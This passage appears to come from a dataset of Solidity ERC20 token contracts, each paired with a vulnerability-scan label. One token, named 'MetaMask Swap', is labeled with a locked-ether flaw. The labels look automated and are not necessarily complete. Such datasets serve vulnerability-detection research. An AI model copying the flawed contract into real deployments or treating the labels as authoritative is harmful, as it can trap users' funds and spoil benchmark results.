constructor(string memory name, string memory symbol, address owner, uint totalSupply)
public
ERC20(name, symbol)
{
_mint(owner, totalSupply);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
| No vulnerabilities found |
pragma solidity 0.6.10;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract Bone is ERC20, Ownable {
constructor ()
public
ERC20 ("BONE Token", "BONE", 18) {
_mint(msg.sender, 1070000000000E18);
}
/**
* @dev Mint new tokens, increasing the total supply and balance of "account"
* Can only be called by the current owner.
*/
function mint(address account, uint256 value) public onlyOwner {
_mint(account, value);
}
/**
* @dev Burns token balance in "account" and decrease totalsupply of token
* Can only be called by the current owner.
*/
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
} | No vulnerabilities found |
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
Safe Math
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
/**
Create ERC20 token
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MetaMask_Swap_Token is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "MetaMask Swap";
string constant tokenSymbol = "METS";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 42000000000000000000000;
uint256 public basePercent = 100;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function findOnePercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(10000);
return onePercent;
}
/**
Allow token to be traded/sent from account to account // allow for staking and governance plug-in
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = 0;
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 tokensToBurn = 0;
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/* 1-time token mint/creation function. Tokens are only minted during contract creation, and cannot be done again.*/
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
}
/**
social experiment token
*/ | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
